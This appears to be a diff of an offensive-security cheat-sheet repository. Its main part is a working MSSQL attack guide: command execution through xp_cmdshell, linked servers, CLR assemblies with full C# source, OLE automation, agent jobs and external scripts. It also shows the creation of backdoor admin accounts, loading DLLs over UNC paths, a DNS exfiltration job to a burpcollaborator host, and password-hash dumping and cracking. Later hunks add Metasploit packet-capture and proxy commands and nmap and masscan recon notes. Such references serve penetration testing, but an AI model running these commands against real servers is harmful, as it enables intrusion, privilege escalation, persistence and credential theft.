* [Agent Jobs](#agent-jobs)
|
||||
* [Execute commands through SQL Agent Job service](#execute-commands-through-sql-agent-job-service)
|
||||
* [List All Jobs](#list-all-jobs)
|
||||
* [External Scripts](#external-scripts)
|
||||
* [Python](#python)
|
||||
* [R](#r)
|
||||
* [Audit Checks](#audit-checks)
|
||||
* [Find and exploit impersonation opportunities](#find-and-exploit-impersonation-opportunities)
|
||||
* [Find databases that have been configured as trustworthy](#find-databases-that-have-been-configured-as-trustworthy)
|
||||
* [Manual SQL Server Queries](#manual-sql-server-queries)
|
||||
* [Query Current User & determine if the user is a sysadmin](#query-current-user--determine-if-the-user-is-a-sysadmin)
|
||||
* [Current Role](#current-role)
|
||||
* [Current DB](#current-db)
|
||||
* [List all tables](#list-all-tables)
|
||||
* [List all databases](#list-all-databases)
|
||||
* [All Logins on Server](#all-logins-on-server)
|
||||
* [All Database Users for a Database](#all-database-users-for-a-database)
|
||||
* [List All Sysadmins](#list-all-sysadmins)
|
||||
* [List All Database Roles](#list-all-database-role)
|
||||
* [Effective Permissions from the Server](#effective-permissions-from-the-server)
|
||||
* [Effective Permissions from the Database](#effective-permissions-from-the-database)
|
||||
* [Find SQL Server Logins Which can be Impersonated for the Current Database](#find-sql-server-logins-which-can-be-impersonated-for-the-current-database)
|
||||
* [Exploiting Impersonation](#exploiting-impersonation)
|
||||
* [Exploiting Nested Impersonation](#exploiting-nested-impersonation)
|
||||
* [MSSQL Accounts and Hashes](#mssql-accounts-and-hashes)
|
||||
* [References](#references)
|
||||
|
||||
## Identify Instances and Databases
|
||||
|
||||
### Discover Local SQL Server Instances
|
||||
|
||||
```ps1
|
||||
Get-SQLInstanceLocal
|
||||
```
|
||||
|
||||
### Discover Domain SQL Server Instances
|
||||
|
||||
```ps1
|
||||
Get-SQLInstanceDomain -Verbose
|
||||
# Get Server Info for Found Instances
|
||||
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
|
||||
# Get Database Names
|
||||
Get-SQLInstanceDomain | Get-SQLDatabase -NoDefaults
|
||||
```
|
||||
|
||||
### Discover Remote SQL Server Instances
|
||||
|
||||
```ps1
|
||||
Get-SQLInstanceBroadcast -Verbose
|
||||
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1
|
||||
```
|
||||
|
||||
### Identify Encrypted databases
|
||||
Note: These are automatically decrypted for admins
|
||||
|
||||
|
||||
```ps1
|
||||
Get-SQLDatabase -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Verbose | Where-Object {$_.is_encrypted -eq "True"}
|
||||
```
|
||||
|
||||
### Version Query
|
||||
|
||||
```ps1
|
||||
Get-SQLInstanceDomain | Get-Query "select @@version"
|
||||
```
|
||||
|
||||
## Identify Sensitive Information
|
||||
|
||||
### Get Tables from a Specific Database
|
||||
|
||||
```ps1
|
||||
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DBNameFromGet-SQLDatabaseCommand> -NoDefaults
|
||||
Get Column Details from a Table
|
||||
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DBName> -TableName <TableName>
|
||||
```
|
||||
|
||||
|
||||
### Gather 5 Entries from Each Column
|
||||
|
||||
|
||||
```ps1
|
||||
Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<columnname1,columnname2,columnname3,columnname4,columnname5>" -Verbose -SampleSize 5
|
||||
```
|
||||
|
||||
### Gather 5 Entries from a Specific Table
|
||||
|
||||
|
||||
```ps1
|
||||
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query 'select TOP 5 * from <DatabaseName>.dbo.<TableName>'
|
||||
```
|
||||
|
||||
|
||||
### Dump common information from server to files
|
||||
|
||||
```ps1
|
||||
Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv
|
||||
```
|
||||
|
||||
## Linked Database
|
||||
|
||||
### Find Trusted Link
|
||||
|
||||
```sql
|
||||
select * from master..sysservers
|
||||
```
|
||||
|
||||
### Execute Query Through The Link
|
||||
|
||||
```sql
|
||||
-- execute query through the link
|
||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
select version from openquery("linkedserver", 'select @@version as version');
|
||||
|
||||
-- chain multiple openquery
|
||||
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
|
||||
|
||||
-- execute shell commands
|
||||
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
|
||||
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
|
||||
|
||||
-- create user and give admin privileges
|
||||
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||||
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||||
```
|
||||
|
||||
### Crawl Links for Instances in the Domain
|
||||
A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results
|
||||
|
||||
|
||||
```ps1
|
||||
Get-SQLInstanceDomain | Get-SQLServerLink -Verbose
|
||||
select * from master..sysservers
|
||||
```
|
||||
|
||||
### Crawl Links for a Specific Instance
|
||||
|
||||
```ps1
|
||||
Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose
|
||||
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')
|
||||
```
|
||||
|
||||
### Query Version of Linked Database
|
||||
|
||||
|
||||
```ps1
|
||||
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose
|
||||
```
|
||||
|
||||
### Execute Procedure on Linked Database
|
||||
|
||||
```ps1
|
||||
SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local";
|
||||
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
|
||||
SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";
|
||||
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
|
||||
SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";
|
||||
```
|
||||
|
||||
### Determine Names of Linked Databases
|
||||
|
||||
> tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.
|
||||
|
||||
```ps1
|
||||
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose
|
||||
```
|
||||
|
||||
### Determine All the Tables Names from a Selected Linked Database
|
||||
|
||||
> The result is TableName which feeds into following query
|
||||
|
||||
|
||||
```ps1
|
||||
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose
|
||||
```
|
||||
|
||||
### Gather the Top 5 Columns from a Selected Linked Table
|
||||
|
||||
> The results are ColumnName and ColumnValue which feed into following query
|
||||
|
||||
|
||||
```ps1
|
||||
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose
|
||||
```
|
||||
|
||||
### Gather Entries from a Selected Linked Column
|
||||
|
||||
|
||||
```ps1
|
||||
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose
|
||||
```
|
||||
|
||||
|
||||
## Command Execution via xp_cmdshell
|
||||
|
||||
> xp_cmdshell disabled by default since SQL Server 2005
|
||||
|
||||
```ps1
|
||||
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami
|
||||
|
||||
# Creates and adds local user backup to the local administrators group:
|
||||
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add'" -Verbose
|
||||
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose
|
||||
```
|
||||
|
||||
* Manually execute the SQL query
|
||||
```sql
|
||||
EXEC xp_cmdshell "net user";
|
||||
EXEC master..xp_cmdshell 'whoami'
|
||||
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
|
||||
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
|
||||
```
|
||||
* If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options',1;
|
||||
RECONFIGURE;
|
||||
EXEC sp_configure 'xp_cmdshell',1;
|
||||
RECONFIGURE;
|
||||
```
|
||||
* If the procedure was uninstalled
|
||||
```sql
|
||||
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
|
||||
```
|
||||
|
||||
|
||||
## Extended Stored Procedure
|
||||
|
||||
### Add the extended stored procedure and list extended stored procedures
|
||||
|
||||
```ps1
|
||||
# Create evil DLL
|
||||
Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test
|
||||
|
||||
# Load the DLL and call xp_test
|
||||
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"
|
||||
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test"
|
||||
|
||||
# Listing existing
|
||||
Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose
|
||||
```
|
||||
|
||||
* Build a DLL using [xp_evil_template.cpp](https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp)
|
||||
* Load the DLL
|
||||
```sql
|
||||
-- can also be loaded from UNC path or Webdav
|
||||
sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'
|
||||
EXEC xp_calc
|
||||
sp_dropextendedproc 'xp_calc'
|
||||
```
|
||||
|
||||
## CLR Assemblies
|
||||
|
||||
Prerequisites:
|
||||
* sysadmin privileges
|
||||
* CREATE ASSEMBLY permission (or)
|
||||
* ALTER ASSEMBLY permission (or)
|
||||
|
||||
The execution takes place with privileges of the **service account**.
|
||||
|
||||
### Execute commands using CLR assembly
|
||||
|
||||
```ps1
|
||||
# Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string
|
||||
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop
|
||||
|
||||
# Execute command using CLR assembly
|
||||
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose
|
||||
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
|
||||
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64>" -Verbose
|
||||
|
||||
# List all the stored procedures added using CLR
|
||||
Get-SQLStoredProcedureCLR -Instance <instance> -Verbose
|
||||
```
|
||||
|
||||
### Manually creating a CLR DLL and importing it
|
||||
|
||||
Create a C# DLL file with the following content, with the command : `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Data;
|
||||
using System.Data.SqlClient;
|
||||
using System.Data.SqlTypes;
|
||||
using Microsoft.SqlServer.Server;
|
||||
using System.IO;
|
||||
using System.Diagnostics;
|
||||
using System.Text;
|
||||
|
||||
public partial class StoredProcedures
|
||||
{
|
||||
[Microsoft.SqlServer.Server.SqlProcedure]
|
||||
public static void cmd_exec (SqlString execCommand)
|
||||
{
|
||||
Process proc = new Process();
|
||||
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
|
||||
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
|
||||
proc.StartInfo.UseShellExecute = false;
|
||||
proc.StartInfo.RedirectStandardOutput = true;
|
||||
proc.Start();
|
||||
|
||||
// Create the record and specify the metadata for the columns.
|
||||
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
|
||||
|
||||
// Mark the beginning of the result set.
|
||||
SqlContext.Pipe.SendResultsStart(record);
|
||||
|
||||
// Set values for each column in the row
|
||||
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
|
||||
|
||||
// Send the row back to the client.
|
||||
SqlContext.Pipe.SendResultsRow(record);
|
||||
|
||||
// Mark the end of the result set.
|
||||
SqlContext.Pipe.SendResultsEnd();
|
||||
|
||||
proc.WaitForExit();
|
||||
proc.Close();
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
Then follow these instructions:
|
||||
|
||||
1. Enable `show advanced options` on the server
|
||||
```sql
|
||||
sp_configure 'show advanced options',1;
|
||||
RECONFIGURE
|
||||
GO
|
||||
```
|
||||
2. Enable CLR on the server
|
||||
```sql
|
||||
sp_configure 'clr enabled',1
|
||||
RECONFIGURE
|
||||
GO
|
||||
```
|
||||
3. Import the assembly
|
||||
```sql
|
||||
CREATE ASSEMBLY my_assembly
|
||||
FROM 'c:\temp\cmd_exec.dll'
|
||||
WITH PERMISSION_SET = UNSAFE;
|
||||
```
|
||||
4. Link the assembly to a stored procedure
|
||||
```sql
|
||||
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
|
||||
GO
|
||||
```
|
||||
5. Execute and clean
|
||||
```sql
|
||||
cmd_exec "whoami"
|
||||
DROP PROCEDURE cmd_exec
|
||||
DROP ASSEMBLY my_assembly
|
||||
```
|
||||
|
||||
**CREATE ASSEMBLY** will also accept an hexadecimal string representation of a CLR DLL
|
||||
|
||||
```sql
|
||||
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM
|
||||
0x4D5A90000300000004000000F[TRUNCATED]
|
||||
WITH PERMISSION_SET = UNSAFE
|
||||
GO
|
||||
```
|
||||
|
||||
## OLE Automation
|
||||
|
||||
* :warning: Disabled by default
|
||||
* The execution takes place with privileges of the **service account**.
|
||||
|
||||
### Execute commands using OLE automation procedures
|
||||
|
||||
```ps1
|
||||
Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
|
||||
```
|
||||
|
||||
```ps1
|
||||
# Enable OLE Automation
|
||||
EXEC sp_configure 'show advanced options', 1
|
||||
EXEC sp_configure reconfigure
|
||||
EXEC sp_configure 'OLE Automation Procedures', 1
|
||||
EXEC sp_configure reconfigure
|
||||
|
||||
# Execute commands
|
||||
DECLARE @execmd INT
|
||||
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
|
||||
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
|
||||
```
|
||||
|
||||
|
||||
```powershell
|
||||
# https://github.com/blackarrowsec/mssqlproxy/blob/master/mssqlclient.py
|
||||
python3 mssqlclient.py 'host/username:password@10.10.10.10' -install -clr Microsoft.SqlServer.Proxy.dll
|
||||
python3 mssqlclient.py 'host/username:password@10.10.10.10' -check -reciclador 'C:\windows\temp\reciclador.dll'
|
||||
python3 mssqlclient.py 'host/username:password@10.10.10.10' -start -reciclador 'C:\windows\temp\reciclador.dll'
|
||||
SQL> enable_ole
|
||||
SQL> upload reciclador.dll C:\windows\temp\reciclador.dll
|
||||
```
|
||||
|
||||
|
||||
## Agent Jobs
|
||||
|
||||
* The execution takes place with privileges of the **SQL Server Agent service account** if a proxy account is not configured.
|
||||
* :warning: Require **sysadmin** or **SQLAgentUserRole**, **SQLAgentReaderRole**, and **SQLAgentOperatorRole** roles to create a job.
|
||||
|
||||
### Execute commands through SQL Agent Job service
|
||||
|
||||
```ps1
|
||||
Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell e <base64encodedscript>" -Verbose
|
||||
Subsystem Options:
|
||||
–Subsystem CmdExec
|
||||
-SubSystem PowerShell
|
||||
–Subsystem VBScript
|
||||
–Subsystem Jscript
|
||||
```
|
||||
|
||||
```sql
|
||||
USE msdb;
|
||||
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
|
||||
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'$name=$env:COMPUTERNAME[10];nslookup "$name.redacted.burpcollaborator.net"', @retry_attempts = 1, @retry_interval = 5 ;
|
||||
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
|
||||
EXEC dbo.sp_start_job N'test_powershell_job1';
|
||||
|
||||
-- delete
|
||||
EXEC dbo.sp_delete_job @job_name = N'test_powershell_job1';
|
||||
```
|
||||
|
||||
### List All Jobs
|
||||
|
||||
```ps1
|
||||
SELECT job_id, [name] FROM msdb.dbo.sysjobs;
|
||||
SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id
|
||||
Get-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password Password1234 -Verbose
|
||||
```
|
||||
|
||||
## External Scripts
|
||||
|
||||
:warning: You need to enable **external scripts**.
|
||||
|
||||
```sql
|
||||
sp_configure 'external scripts enabled', 1;
|
||||
RECONFIGURE;
|
||||
```
|
||||
|
||||
## Python:
|
||||
|
||||
```ps1
|
||||
Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
|
||||
|
||||
EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
|
||||
WITH RESULT SETS (([cmd_out] nvarchar(max)))
|
||||
```
|
||||
|
||||
## R
|
||||
|
||||
```ps1
|
||||
Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
|
||||
|
||||
EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
|
||||
WITH RESULT SETS (([cmd_out] text));
|
||||
GO
|
||||
|
||||
@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'
|
||||
```
|
||||
|
||||
## Audit Checks
|
||||
|
||||
|
||||
### Find and exploit impersonation opportunities
|
||||
|
||||
* Impersonate as: `EXECUTE AS LOGIN = 'sa'`
|
||||
* Impersonate `dbo` with DB_OWNER
|
||||
```sql
|
||||
SQL> select is_member('db_owner');
|
||||
SQL> execute as user = 'dbo'
|
||||
SQL> SELECT is_srvrolemember('sysadmin')
|
||||
```
|
||||
|
||||
```ps1
|
||||
Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
|
||||
|
||||
# impersonate sa account
|
||||
powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug
|
||||
```
|
||||
|
||||
## Find databases that have been configured as trustworthy
|
||||
|
||||
```sql
|
||||
Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
|
||||
|
||||
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases
|
||||
```
|
||||
|
||||
> The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.
|
||||
|
||||
```ps1
|
||||
Invoke-SQLAuditPrivXpDirtree
|
||||
Invoke-SQLUncPathInjection
|
||||
Invoke-SQLAuditPrivXpFileexist
|
||||
```
|
||||
|
||||
## Manual SQL Server Queries
|
||||
|
||||
### Query Current User & determine if the user is a sysadmin
|
||||
|
||||
```sql
|
||||
select suser_sname()
|
||||
Select system_user
|
||||
select is_srvrolemember('sysadmin')
|
||||
```
|
||||
|
||||
### Current Role
|
||||
|
||||
```sql
|
||||
Select user
|
||||
```
|
||||
|
||||
### Current DB
|
||||
|
||||
```sql
|
||||
select db_name()
|
||||
```
|
||||
|
||||
### List all tables
|
||||
|
||||
```sql
|
||||
select table_name from information_schema.tables
|
||||
```
|
||||
|
||||
### List all databases
|
||||
|
||||
```sql
|
||||
select name from master..sysdatabases
|
||||
```
|
||||
|
||||
### All Logins on Server
|
||||
|
||||
```sql
|
||||
Select * from sys.server_principals where type_desc != 'SERVER_ROLE'
|
||||
```
|
||||
|
||||
### All Database Users for a Database
|
||||
|
||||
```sql
|
||||
Select * from sys.database_principals where type_desc != 'database_role';
|
||||
```
|
||||
|
||||
### List All Sysadmins
|
||||
|
||||
```sql
|
||||
SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1
|
||||
```
|
||||
|
||||
### List All Database Roles
|
||||
|
||||
```sql
|
||||
SELECT DB1.name AS DatabaseRoleName,
|
||||
isnull (DB2.name, 'No members') AS DatabaseUserName
|
||||
FROM sys.database_role_members AS DRM
|
||||
RIGHT OUTER JOIN sys.database_principals AS DB1
|
||||
ON DRM.role_principal_id = DB1.principal_id
|
||||
LEFT OUTER JOIN sys.database_principals AS DB2
|
||||
ON DRM.member_principal_id = DB2.principal_id
|
||||
WHERE DB1.type = 'R'
|
||||
ORDER BY DB1.name;
|
||||
```
|
||||
|
||||
### Effective Permissions from the Server
|
||||
|
||||
```sql
|
||||
select * from fn_my_permissions(null, 'server');
|
||||
```
|
||||
|
||||
### Effective Permissions from the Database
|
||||
|
||||
```sql
|
||||
SELECT * FROM fn_dp1my_permissions(NULL, 'DATABASE');
|
||||
```
|
||||
|
||||
### Find SQL Server Logins Which can be Impersonated for the Current Database
|
||||
|
||||
```sql
|
||||
select distinct b.name
|
||||
from sys.server_permissions a
|
||||
inner join sys.server_principals b
|
||||
on a.grantor_principal_id = b.principal_id
|
||||
where a.permission_name = 'impersonate'
|
||||
```
|
||||
|
||||
### Exploiting Impersonation
|
||||
|
||||
```sql
|
||||
SELECT SYSTEM_USER
|
||||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||
EXECUTE AS LOGIN = 'adminuser'
|
||||
SELECT SYSTEM_USER
|
||||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||
SELECT ORIGINAL_LOGIN()
|
||||
```
|
||||
|
||||
### Exploiting Nested Impersonation
|
||||
|
||||
```sql
|
||||
SELECT SYSTEM_USER
|
||||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||
EXECUTE AS LOGIN = 'stduser'
|
||||
SELECT SYSTEM_USER
|
||||
EXECUTE AS LOGIN = 'sa'
|
||||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||
SELECT ORIGINAL_LOGIN()
|
||||
SELECT SYSTEM_USER
|
||||
```
|
||||
|
||||
### MSSQL Accounts and Hashes
|
||||
|
||||
```sql
|
||||
MSSQL 2000:
|
||||
SELECT name, password FROM master..sysxlogins
|
||||
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
|
||||
|
||||
MSSQL 2005
|
||||
SELECT name, password_hash FROM master.sys.sql_logins
|
||||
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
|
||||
```
|
||||
|
||||
Then crack passwords using Hashcat : `hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force`
|
||||
|
||||
```ps1
|
||||
131 MSSQL (2000) 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578
|
||||
132 MSSQL (2005) 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
|
||||
1731 MSSQL (2012, 2014) 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [PowerUpSQL Cheat Sheet & SQL Server Queries - Leo Pitt](https://medium.com/@D00MFist/powerupsql-cheat-sheet-sql-server-queries-40e1c418edc3)
|
||||
* [PowerUpSQL Cheat Sheet - Scott Sutherland](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet)
|
||||
* [Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017](https://blog.netspi.com/attacking-sql-server-clr-assemblies/)
|
||||
* [MSSQL Agent Jobs for Command Execution - Nicholas Popovich - September 21, 2016](https://www.optiv.com/explore-optiv-insights/blog/mssql-agent-jobs-command-execution)
|
||||
@@ -10,11 +10,13 @@
|
||||
* [Meterpreter Webdelivery](#meterpreter-webdelivery)
|
||||
* [Get System](#get-system)
|
||||
* [Persistence Startup](#persistence-startup)
|
||||
* [Network Monitoring](#network-monitoring)
|
||||
* [Portforward](#portforward)
|
||||
* [Upload / Download](#upload---download)
|
||||
* [Execute from Memory](#execute-from-memory)
|
||||
* [Mimikatz](#mimikatz)
|
||||
* [Pass the Hash - PSExec](#pass-the-hash---psexec)
|
||||
* [Use SOCKS Proxy](#use-socks-proxy)
|
||||
* [Scripting Metasploit](#scripting-metasploit)
|
||||
* [Multiple transports](#multiple-transports)
|
||||
* [Best of - Exploits](#best-of---exploits)
|
||||
@@ -130,6 +132,16 @@ OPTIONS:
|
||||
meterpreter > run persistence -U -p 4242
|
||||
```
|
||||
|
||||
### Network Monitoring
|
||||
|
||||
```powershell
|
||||
# list interfaces
|
||||
run packetrecorder -li
|
||||
|
||||
# record interface n°1
|
||||
run packetrecorder -i 1
|
||||
```
|
||||
|
||||
### Portforward
|
||||
|
||||
```powershell
|
||||
@@ -177,6 +189,12 @@ SMBPass 598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d
|
||||
SMBUser Lambda no The username to authenticate as
|
||||
```
|
||||
|
||||
### Use SOCKS Proxy
|
||||
|
||||
```powershell
|
||||
setg Proxies socks4:127.0.0.1:1080
|
||||
```
|
||||
|
||||
## Scripting Metasploit
|
||||
|
||||
Using a `.rc file`, write the commands to execute, then run `msfconsole -r ./file.rc`.
|
||||
|
||||
@@ -8,9 +8,7 @@
|
||||
* The Harvester
|
||||
|
||||
* [Active Recon](#active-recon)
|
||||
* Masscan
|
||||
* Nmap
|
||||
* Nmap Script
|
||||
* Network discovery
|
||||
* RPCClient
|
||||
* Enum4all
|
||||
|
||||
@@ -38,6 +36,7 @@
|
||||
|
||||
```bash
|
||||
look for JS files, old links
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=<targetDomain.com>&output=text&fl=original&collapse=urlkey&matchType=prefix"
|
||||
```
|
||||
|
||||
* Using The Harvester (https://github.com/laramies/theHarvester)
|
||||
@@ -48,94 +47,12 @@
|
||||
|
||||
## Active recon
|
||||
|
||||
* Masscan
|
||||
* [Network discovery](Network%20Discovery.md) with masscan, nmap etc.
|
||||
|
||||
```powershell
|
||||
masscan -iL ips-online.txt --rate 10000 -p1-65535 --only-open -oL masscan.out
|
||||
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000
|
||||
```
|
||||
|
||||
* Basic NMAP
|
||||
* rpcclient
|
||||
|
||||
```bash
|
||||
sudo nmap -sSV -p- 192.168.0.1 -oA OUTPUTFILE -T4
|
||||
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv
|
||||
|
||||
• the flag -sSV defines the type of packet to send to the server and tells Nmap to try and determine any service on open ports
|
||||
• the -p- tells Nmap to check all 65,535 ports (by default it will only check the most popular 1,000)
|
||||
• 192.168.0.1 is the IP address to scan
|
||||
• -oA OUTPUTFILE tells Nmap to output the findings in its three major formats at once using the filename "OUTPUTFILE"
|
||||
• -iL INPUTFILE tells Nmap to use the provided file as inputs
|
||||
```
|
||||
|
||||
* CTF NMAP
|
||||
This configuration is enough to do a basic check for a CTF VM
|
||||
|
||||
```bash
|
||||
nmap -sV -sC -oA ~/nmap-initial 192.168.1.1
|
||||
|
||||
-sV : Probe open ports to determine service/version info
|
||||
-sC : to enable the script
|
||||
-oA : to save the results
|
||||
|
||||
After this quick command you can add "-p-" to run a full scan while you work with the previous result
|
||||
```
|
||||
|
||||
* Aggressive NMAP
|
||||
|
||||
```bash
|
||||
nmap -A -T4 scanme.nmap.org
|
||||
• -A: Enable OS detection, version detection, script scanning, and traceroute
|
||||
• -T4: Defines the timing for the task (options are 0-5 and higher is faster)
|
||||
```
|
||||
|
||||
* NMAP and add-ons
|
||||
* Using searchsploit to detect vulnerable services
|
||||
|
||||
```bash
|
||||
nmap -p- -sV -oX a.xml IP_ADDRESS; searchsploit --nmap a.xml
|
||||
```
|
||||
|
||||
* Generating nice scan report
|
||||
|
||||
```bash
|
||||
